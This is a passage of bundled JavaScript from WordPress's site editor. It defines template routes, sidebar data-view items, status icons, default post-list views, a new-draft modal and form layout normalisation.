46198 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenTemplatesBrowse, { backPath: "/" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
46199 },
46200 content({ siteData }) {
46201 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46202 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PageTemplates, {}) : void 0;
46203 },
46204 async preview({ query, siteData }) {
46205 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46206 if (!isBlockTheme) {
46207 return void 0;
46208 }
46209 const isListView = await isTemplateListView(query);
46210 return isListView ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : void 0;
46211 },
46212 mobile({ siteData }) {
46213 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46214 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PageTemplates, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
46215 }
46216 },
46217 widths: {
46218 async content({ query }) {
46219 const isListView = await isTemplateListView(query);
46220 return isListView ? 380 : void 0;
46221 }
46222 }
46223};
46224
46225
46226;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/template-item.js
46227
46228
46229
46230
46231const templateItemRoute = {
46232 name: "template-item",
46233 path: "/wp_template/*postId",
46234 areas: {
46235 sidebar({ siteData }) {
46236 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46237 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenTemplatesBrowse, { backPath: "/" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
46238 },
46239 mobile({ siteData }) {
46240 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46241 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
46242 },
46243 preview({ siteData }) {
46244 const isBlockTheme = siteData.currentTheme?.is_block_theme;
46245 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
46246 }
46247 }
46248};
46249
46250
46251;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/dataview-item.js
46252
46253
46254
46255
46256
46257
46258
46259
46260const { useLocation: dataview_item_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
46261function DataViewItem({
46262 title,
46263 slug,
46264 type,
46265 icon,
46266 isActive,
46267 suffix
46268}) {
46269 const { path } = dataview_item_useLocation();
46270 const iconToUse = icon || VIEW_LAYOUTS.find((v) => v.type === type).icon;
46271 if (slug === "all") {
46272 slug = void 0;
46273 }
46274 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46275 external_wp_components_namespaceObject.__experimentalHStack,
46276 {
46277 justify: "flex-start",
46278 className: dist_clsx("edit-site-sidebar-dataviews-dataview-item", {
46279 "is-selected": isActive
46280 }),
46281 children: [
46282 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46283 SidebarNavigationItem,
46284 {
46285 icon: iconToUse,
46286 to: (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46287 activeView: slug
46288 }),
46289 "aria-current": isActive ? "true" : void 0,
46290 children: title
46291 }
46292 ),
46293 suffix
46294 ]
46295 }
46296 );
46297}
46298
46299
46300;// ./node_modules/@wordpress/icons/build-module/library/pages.js
46301
46302
46303var pages_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
46304 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z" }),
46305 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z" }),
46306 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z" })
46307] });
46308
46309
46310;// ./node_modules/@wordpress/icons/build-module/library/published.js
46311
46312
46313var published_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46314 external_wp_primitives_namespaceObject.Path,
46315 {
46316 fillRule: "evenodd",
46317 clipRule: "evenodd",
46318 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"
46319 }
46320) });
46321
46322
46323;// ./node_modules/@wordpress/icons/build-module/library/scheduled.js
46324
46325
46326var scheduled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46327 external_wp_primitives_namespaceObject.Path,
46328 {
46329 fillRule: "evenodd",
46330 clipRule: "evenodd",
46331 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z"
46332 }
46333) });
46334
46335
46336;// ./node_modules/@wordpress/icons/build-module/library/drafts.js
46337
46338
46339var drafts_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46340 external_wp_primitives_namespaceObject.Path,
46341 {
46342 fillRule: "evenodd",
46343 clipRule: "evenodd",
46344 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z"
46345 }
46346) });
46347
46348
46349;// ./node_modules/@wordpress/icons/build-module/library/pending.js
46350
46351
46352var pending_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46353 external_wp_primitives_namespaceObject.Path,
46354 {
46355 fillRule: "evenodd",
46356 clipRule: "evenodd",
46357 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z"
46358 }
46359) });
46360
46361
46362;// ./node_modules/@wordpress/icons/build-module/library/not-allowed.js
46363
46364
46365var not_allowed_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46366 external_wp_primitives_namespaceObject.Path,
46367 {
46368 fillRule: "evenodd",
46369 clipRule: "evenodd",
46370 d: "M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z"
46371 }
46372) });
46373
46374
46375;// ./node_modules/@wordpress/icons/build-module/library/trash.js
46376
46377
46378var trash_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46379 external_wp_primitives_namespaceObject.Path,
46380 {
46381 fillRule: "evenodd",
46382 clipRule: "evenodd",
46383 d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"
46384 }
46385) });
46386
46387
46388;// ./node_modules/@wordpress/edit-site/build-module/components/post-list/view-utils.js
46389
46390
46391
46392const post_list_view_utils_defaultLayouts = {
46393 table: {},
46394 grid: {},
46395 list: {}
46396};
46397const DEFAULT_POST_BASE = {
46398 type: "list",
46399 filters: [],
46400 perPage: 20,
46401 sort: {
46402 field: "title",
46403 direction: "asc"
46404 },
46405 showLevels: true,
46406 titleField: "title",
46407 mediaField: "featured_media",
46408 fields: ["author", "status"],
46409 ...post_list_view_utils_defaultLayouts.list
46410};
46411function getDefaultViews(postType) {
46412 return [
46413 {
46414 title: postType?.labels?.all_items || (0,external_wp_i18n_namespaceObject.__)("All items"),
46415 slug: "all",
46416 icon: pages_default,
46417 view: DEFAULT_POST_BASE
46418 },
46419 {
46420 title: (0,external_wp_i18n_namespaceObject.__)("Published"),
46421 slug: "published",
46422 icon: published_default,
46423 view: {
46424 ...DEFAULT_POST_BASE,
46425 filters: [
46426 {
46427 field: "status",
46428 operator: OPERATOR_IS_ANY,
46429 value: "publish",
46430 isLocked: true
46431 }
46432 ]
46433 }
46434 },
46435 {
46436 title: (0,external_wp_i18n_namespaceObject.__)("Scheduled"),
46437 slug: "future",
46438 icon: scheduled_default,
46439 view: {
46440 ...DEFAULT_POST_BASE,
46441 filters: [
46442 {
46443 field: "status",
46444 operator: OPERATOR_IS_ANY,
46445 value: "future",
46446 isLocked: true
46447 }
46448 ]
46449 }
46450 },
46451 {
46452 title: (0,external_wp_i18n_namespaceObject.__)("Drafts"),
46453 slug: "drafts",
46454 icon: drafts_default,
46455 view: {
46456 ...DEFAULT_POST_BASE,
46457 filters: [
46458 {
46459 field: "status",
46460 operator: OPERATOR_IS_ANY,
46461 value: "draft",
46462 isLocked: true
46463 }
46464 ]
46465 }
46466 },
46467 {
46468 title: (0,external_wp_i18n_namespaceObject.__)("Pending"),
46469 slug: "pending",
46470 icon: pending_default,
46471 view: {
46472 ...DEFAULT_POST_BASE,
46473 filters: [
46474 {
46475 field: "status",
46476 operator: OPERATOR_IS_ANY,
46477 value: "pending",
46478 isLocked: true
46479 }
46480 ]
46481 }
46482 },
46483 {
46484 title: (0,external_wp_i18n_namespaceObject.__)("Private"),
46485 slug: "private",
46486 icon: not_allowed_default,
46487 view: {
46488 ...DEFAULT_POST_BASE,
46489 filters: [
46490 {
46491 field: "status",
46492 operator: OPERATOR_IS_ANY,
46493 value: "private",
46494 isLocked: true
46495 }
46496 ]
46497 }
46498 },
46499 {
46500 title: (0,external_wp_i18n_namespaceObject.__)("Trash"),
46501 slug: "trash",
46502 icon: trash_default,
46503 view: {
46504 ...DEFAULT_POST_BASE,
46505 type: "table",
46506 layout: post_list_view_utils_defaultLayouts.table.layout,
46507 filters: [
46508 {
46509 field: "status",
46510 operator: OPERATOR_IS_ANY,
46511 value: "trash",
46512 isLocked: true
46513 }
46514 ]
46515 }
46516 }
46517 ];
46518}
46519const view_utils_getDefaultView = (postType, activeView) => {
46520 return getDefaultViews(postType).find(
46521 ({ slug }) => slug === activeView
46522 )?.view;
46523};
46524
46525
46526;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/index.js
46527
46528
46529
46530
46531
46532
46533
46534
46535
46536const { useLocation: sidebar_dataviews_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
46537function DataViewsSidebarContent({ postType }) {
46538 const {
46539 query: { activeView = "all" }
46540 } = sidebar_dataviews_useLocation();
46541 const postTypeObject = (0,external_wp_data_.useSelect)(
46542 (select) => {
46543 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
46544 return getPostType(postType);
46545 },
46546 [postType]
46547 );
46548 const defaultViews = (0,external_wp_element_.useMemo)(
46549 () => getDefaultViews(postTypeObject),
46550 [postTypeObject]
46551 );
46552 if (!postType) {
46553 return null;
46554 }
46555 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { className: "edit-site-sidebar-dataviews", children: defaultViews.map((dataview) => {
46556 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46557 DataViewItem,
46558 {
46559 slug: dataview.slug,
46560 title: dataview.title,
46561 icon: dataview.icon,
46562 type: dataview.view.type,
46563 isActive: dataview.slug === activeView
46564 },
46565 dataview.slug
46566 );
46567 }) }) });
46568}
46569
46570
46571;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js
46572
46573
46574var drawer_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46575 external_wp_primitives_namespaceObject.Path,
46576 {
46577 fillRule: "evenodd",
46578 clipRule: "evenodd",
46579 d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"
46580 }
46581) });
46582
46583
46584;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-post/index.js
46585
46586
46587
46588
46589
46590
46591
46592
46593
46594function AddNewPostModal({ postType, onSave, onClose }) {
46595 const labels = (0,external_wp_data_.useSelect)(
46596 (select) => select(external_wp_coreData_namespaceObject.store).getPostType(postType)?.labels,
46597 [postType]
46598 );
46599 const [isCreatingPost, setIsCreatingPost] = (0,external_wp_element_.useState)(false);
46600 const [title, setTitle] = (0,external_wp_element_.useState)("");
46601 const { saveEntityRecord } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
46602 const { createErrorNotice, createSuccessNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
46603 const { resolveSelect } = (0,external_wp_data_.useRegistry)();
46604 async function createPost(event) {
46605 event.preventDefault();
46606 if (isCreatingPost) {
46607 return;
46608 }
46609 setIsCreatingPost(true);
46610 try {
46611 const postTypeObject = await resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postType);
46612 const newPage = await saveEntityRecord(
46613 "postType",
46614 postType,
46615 {
46616 status: "draft",
46617 title,
46618 slug: title ?? void 0,
46619 content: !!postTypeObject.template && postTypeObject.template.length ? (0,external_wp_blocks_namespaceObject.serialize)(
46620 (0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)(
46621 [],
46622 postTypeObject.template
46623 )
46624 ) : void 0
46625 },
46626 { throwOnError: true }
46627 );
46628 onSave(newPage);
46629 createSuccessNotice(
46630 (0,external_wp_i18n_namespaceObject.sprintf)(
46631 // translators: %s: Title of the created post or template, e.g: "Hello world".
46632 (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'),
46633 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(newPage.title?.rendered || title) || (0,external_wp_i18n_namespaceObject.__)("(no title)")
46634 ),
46635 { type: "snackbar" }
46636 );
46637 } catch (error) {
46638 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while creating the item.");
46639 createErrorNotice(errorMessage, {
46640 type: "snackbar"
46641 });
46642 } finally {
46643 setIsCreatingPost(false);
46644 }
46645 }
46646 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46647 external_wp_components_namespaceObject.Modal,
46648 {
46649 title: (
46650 // translators: %s: post type singular_name label e.g: "Page".
46651 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Draft new: %s"), labels?.singular_name)
46652 ),
46653 onRequestClose: onClose,
46654 focusOnMount: "firstContentElement",
46655 size: "small",
46656 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: createPost, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
46657 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46658 external_wp_components_namespaceObject.TextControl,
46659 {
46660 __next40pxDefaultSize: true,
46661 __nextHasNoMarginBottom: true,
46662 label: (0,external_wp_i18n_namespaceObject.__)("Title"),
46663 onChange: setTitle,
46664 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
46665 value: title
46666 }
46667 ),
46668 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, justify: "end", children: [
46669 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46670 external_wp_components_namespaceObject.Button,
46671 {
46672 __next40pxDefaultSize: true,
46673 variant: "tertiary",
46674 onClick: onClose,
46675 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
46676 }
46677 ),
46678 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46679 external_wp_components_namespaceObject.Button,
46680 {
46681 __next40pxDefaultSize: true,
46682 variant: "primary",
46683 type: "submit",
46684 isBusy: isCreatingPost,
46685 "aria-disabled": isCreatingPost,
46686 children: (0,external_wp_i18n_namespaceObject.__)("Create draft")
46687 }
46688 )
46689 ] })
46690 ] }) })
46691 }
46692 );
46693}
46694
46695
46696;// ./node_modules/@wordpress/edit-site/build-module/components/post-list/index.js
46697
46698
46699
46700
46701
46702
46703
46704
46705
46706
46707
46708
46709
46710
46711
46712
46713
46714
46715
46716const { usePostActions: post_list_usePostActions, usePostFields } = unlock(external_wp_editor_namespaceObject.privateApis);
46717const { useLocation: post_list_useLocation, useHistory: post_list_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
46718const { useEntityRecordsWithPermissions: post_list_useEntityRecordsWithPermissions } = unlock(external_wp_coreData_namespaceObject.privateApis);
46719const post_list_EMPTY_ARRAY = [];
46720const DEFAULT_STATUSES = "draft,future,pending,private,publish";
46721function getItemId(item) {
46722 return item.id.toString();
46723}
46724function getItemLevel(item) {
46725 return item.level;
46726}
46727function PostList({ postType }) {
46728 const { path, query } = post_list_useLocation();
46729 const { activeView = "all", postId, quickEdit = false } = query;
46730 const history = post_list_useHistory();
46731 const postTypeObject = (0,external_wp_data_.useSelect)(
46732 (select) => {
46733 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
46734 return getPostType(postType);
46735 },
46736 [postType]
46737 );
46738 const { view, updateView, isModified, resetToDefault } = (0,build_module.useView)({
46739 kind: "postType",
46740 name: postType,
46741 slug: activeView,
46742 queryParams: {
46743 page: query.pageNumber,
46744 search: query.search
46745 },
46746 onChangeQueryParams: (newQueryParams) => {
46747 history.navigate(
46748 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46749 ...query,
46750 pageNumber: newQueryParams.page,
46751 search: newQueryParams.search || void 0
46752 })
46753 );
46754 },
46755 defaultView: view_utils_getDefaultView(postTypeObject, activeView)
46756 });
46757 const onChangeView = (0,external_wp_compose_namespaceObject.useEvent)((newView) => {
46758 if (newView.type !== view.type) {
46759 history.invalidate();
46760 }
46761 updateView(newView);
46762 });
46763 const [selection, setSelection] = (0,external_wp_element_.useState)(postId?.split(",") ?? []);
46764 const onChangeSelection = (0,external_wp_element_.useCallback)(
46765 (items) => {
46766 setSelection(items);
46767 history.navigate(
46768 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46769 postId: items.join(",")
46770 })
46771 );
46772 },
46773 [path, history]
46774 );
46775 const fields = usePostFields({
46776 postType
46777 });
46778 const queryArgs = (0,external_wp_element_.useMemo)(() => {
46779 const filters = {};
46780 view.filters?.forEach((filter) => {
46781 if (filter.field === "status" && filter.operator === OPERATOR_IS_ANY) {
46782 filters.status = filter.value;
46783 }
46784 if (filter.field === "author" && filter.operator === OPERATOR_IS_ANY) {
46785 filters.author = filter.value;
46786 } else if (filter.field === "author" && filter.operator === OPERATOR_IS_NONE) {
46787 filters.author_exclude = filter.value;
46788 }
46789 });
46790 if (!filters.status || filters.status === "") {
46791 filters.status = DEFAULT_STATUSES;
46792 }
46793 return {
46794 per_page: view.perPage,
46795 page: view.page,
46796 _embed: "author,wp:featuredmedia",
46797 order: view.sort?.direction,
46798 orderby: view.sort?.field,
46799 orderby_hierarchy: !!view.showLevels,
46800 search: view.search,
46801 ...filters
46802 };
46803 }, [view]);
46804 const {
46805 records,
46806 isResolving: isLoadingData,
46807 totalItems,
46808 totalPages
46809 } = post_list_useEntityRecordsWithPermissions("postType", postType, queryArgs);
46810 const data = (0,external_wp_element_.useMemo)(() => {
46811 if (view?.sort?.field === "author") {
46812 return filterSortAndPaginate(
46813 records,
46814 { sort: { ...view.sort } },
46815 fields
46816 ).data;
46817 }
46818 return records;
46819 }, [records, fields, view?.sort]);
46820 const ids = data?.map((record) => getItemId(record)) ?? [];
46821 const prevIds = (0,external_wp_compose_namespaceObject.usePrevious)(ids) ?? [];
46822 const deletedIds = prevIds.filter((id) => !ids.includes(id));
46823 const postIdWasDeleted = deletedIds.includes(postId);
46824 (0,external_wp_element_.useEffect)(() => {
46825 if (postIdWasDeleted) {
46826 history.navigate(
46827 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46828 postId: void 0
46829 })
46830 );
46831 }
46832 }, [history, postIdWasDeleted, path]);
46833 const paginationInfo = (0,external_wp_element_.useMemo)(
46834 () => ({
46835 totalItems,
46836 totalPages
46837 }),
46838 [totalItems, totalPages]
46839 );
46840 const { labels, canCreateRecord } = (0,external_wp_data_.useSelect)(
46841 (select) => {
46842 const { getPostType, canUser } = select(external_wp_coreData_namespaceObject.store);
46843 return {
46844 labels: getPostType(postType)?.labels,
46845 canCreateRecord: canUser("create", {
46846 kind: "postType",
46847 name: postType
46848 })
46849 };
46850 },
46851 [postType]
46852 );
46853 const postTypeActions = post_list_usePostActions({
46854 postType,
46855 context: "list"
46856 });
46857 const editAction = useEditPostAction();
46858 const actions = (0,external_wp_element_.useMemo)(
46859 () => [editAction, ...postTypeActions],
46860 [postTypeActions, editAction]
46861 );
46862 const [showAddPostModal, setShowAddPostModal] = (0,external_wp_element_.useState)(false);
46863 const openModal = () => setShowAddPostModal(true);
46864 const closeModal = () => setShowAddPostModal(false);
46865 const handleNewPage = ({ type, id }) => {
46866 history.navigate(`/${type}/${id}?canvas=edit`);
46867 closeModal();
46868 };
46869 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46870 page_page_default,
46871 {
46872 title: labels?.name,
46873 actions: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46874 isModified && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46875 external_wp_components_namespaceObject.Button,
46876 {
46877 __next40pxDefaultSize: true,
46878 onClick: () => {
46879 resetToDefault();
46880 history.invalidate();
46881 },
46882 children: (0,external_wp_i18n_namespaceObject.__)("Reset view")
46883 }
46884 ),
46885 labels?.add_new_item && canCreateRecord && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46886 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46887 external_wp_components_namespaceObject.Button,
46888 {
46889 variant: "primary",
46890 onClick: openModal,
46891 __next40pxDefaultSize: true,
46892 children: labels.add_new_item
46893 }
46894 ),
46895 showAddPostModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46896 AddNewPostModal,
46897 {
46898 postType,
46899 onSave: handleNewPage,
46900 onClose: closeModal
46901 }
46902 )
46903 ] })
46904 ] }),
46905 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46906 dataviews_default,
46907 {
46908 paginationInfo,
46909 fields,
46910 actions,
46911 data: data || post_list_EMPTY_ARRAY,
46912 isLoading: isLoadingData,
46913 view,
46914 onChangeView,
46915 selection,
46916 onChangeSelection,
46917 isItemClickable: (item) => item.status !== "trash",
46918 onClickItem: ({ id }) => {
46919 history.navigate(`/${postType}/${id}?canvas=edit`);
46920 },
46921 getItemId,
46922 getItemLevel,
46923 defaultLayouts: post_list_view_utils_defaultLayouts,
46924 header: window.__experimentalQuickEditDataViews && view.type !== LAYOUT_LIST && postType === "page" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46925 external_wp_components_namespaceObject.Button,
46926 {
46927 size: "compact",
46928 isPressed: quickEdit,
46929 icon: drawer_right_default,
46930 label: (0,external_wp_i18n_namespaceObject.__)("Details"),
46931 onClick: () => {
46932 history.navigate(
46933 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46934 quickEdit: quickEdit ? void 0 : true
46935 })
46936 );
46937 }
46938 }
46939 )
46940 },
46941 activeView
46942 )
46943 }
46944 );
46945}
46946
46947
46948;// ./node_modules/@wordpress/dataviews/build-module/components/dataform-context/index.js
46949
46950
46951const DataFormContext = (0,external_wp_element_.createContext)({
46952 fields: []
46953});
46954DataFormContext.displayName = "DataFormContext";
46955function DataFormProvider({
46956 fields,
46957 children
46958}) {
46959 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormContext.Provider, { value: { fields }, children });
46960}
46961var dataform_context_default = DataFormContext;
46962
46963
46964;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/is-combined-field.js
46965function isCombinedField(field) {
46966 return field.children !== void 0;
46967}
46968
46969
46970;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/normalize-form-fields.js
46971const DEFAULT_LAYOUT = {
46972 type: "regular",
46973 labelPosition: "top"
46974};
46975const normalizeCardSummaryField = (sum) => {
46976 if (typeof sum === "string") {
46977 return [{ id: sum, visibility: "when-collapsed" }];
46978 }
46979 return sum.map((item) => {
46980 if (typeof item === "string") {
46981 return { id: item, visibility: "when-collapsed" };
46982 }
46983 return { id: item.id, visibility: item.visibility };
46984 });
46985};
46986function normalizeLayout(layout) {
46987 let normalizedLayout = DEFAULT_LAYOUT;
46988 if (layout?.type === "regular") {
46989 normalizedLayout = {
46990 type: "regular",
46991 labelPosition: layout?.labelPosition ?? "top"
46992 };
46993 } else if (layout?.type === "panel") {
46994 const summary = layout.summary ?? [];
46995 const normalizedSummary = Array.isArray(summary) ? summary : [summary];
46996 normalizedLayout = {
46997 type: "panel",
46998 labelPosition: layout?.labelPosition ?? "side",
46999 openAs: layout?.openAs ?? "dropdown",
47000 summary: normalizedSummary
47001 };
47002 } else if (layout?.type === "card") {
47003 if (layout.withHeader === false) {
47004 normalizedLayout = {
47005 type: "card",
47006 withHeader: false,
47007 isOpened: true,
47008 summary: []
47009 };
47010 } else {
47011 const summary = layout.summary ?? [];
47012 normalizedLayout = {
47013 type: "card",
47014 withHeader: true,
47015 isOpened: typeof layout.isOpened === "boolean" ? layout.isOpened : true,
47016 summary: normalizeCardSummaryField(summary)
47017 };
47018 }
47019 } else if (layout?.type === "row") {
47020 normalizedLayout = {
47021 type: "row",
47022 alignment: layout?.alignment ?? "center",
47023 styles: layout?.styles ?? {}
47024 };
47025 }
47026 return normalizedLayout;
47027}
47028function normalizeFormFields(form) {
47029 const formLayout = normalizeLayout(form?.layout);
47030 return (form.fields ?? []).map((field) => {
47031 if (typeof field === "string") {
47032 return {
47033 id: field,
47034 layout: formLayout
47035 };
47036 }
47037 const fieldLayout = field.layout ? normalizeLayout(field.layout) : formLayout;
47038 return {
47039 ...field,
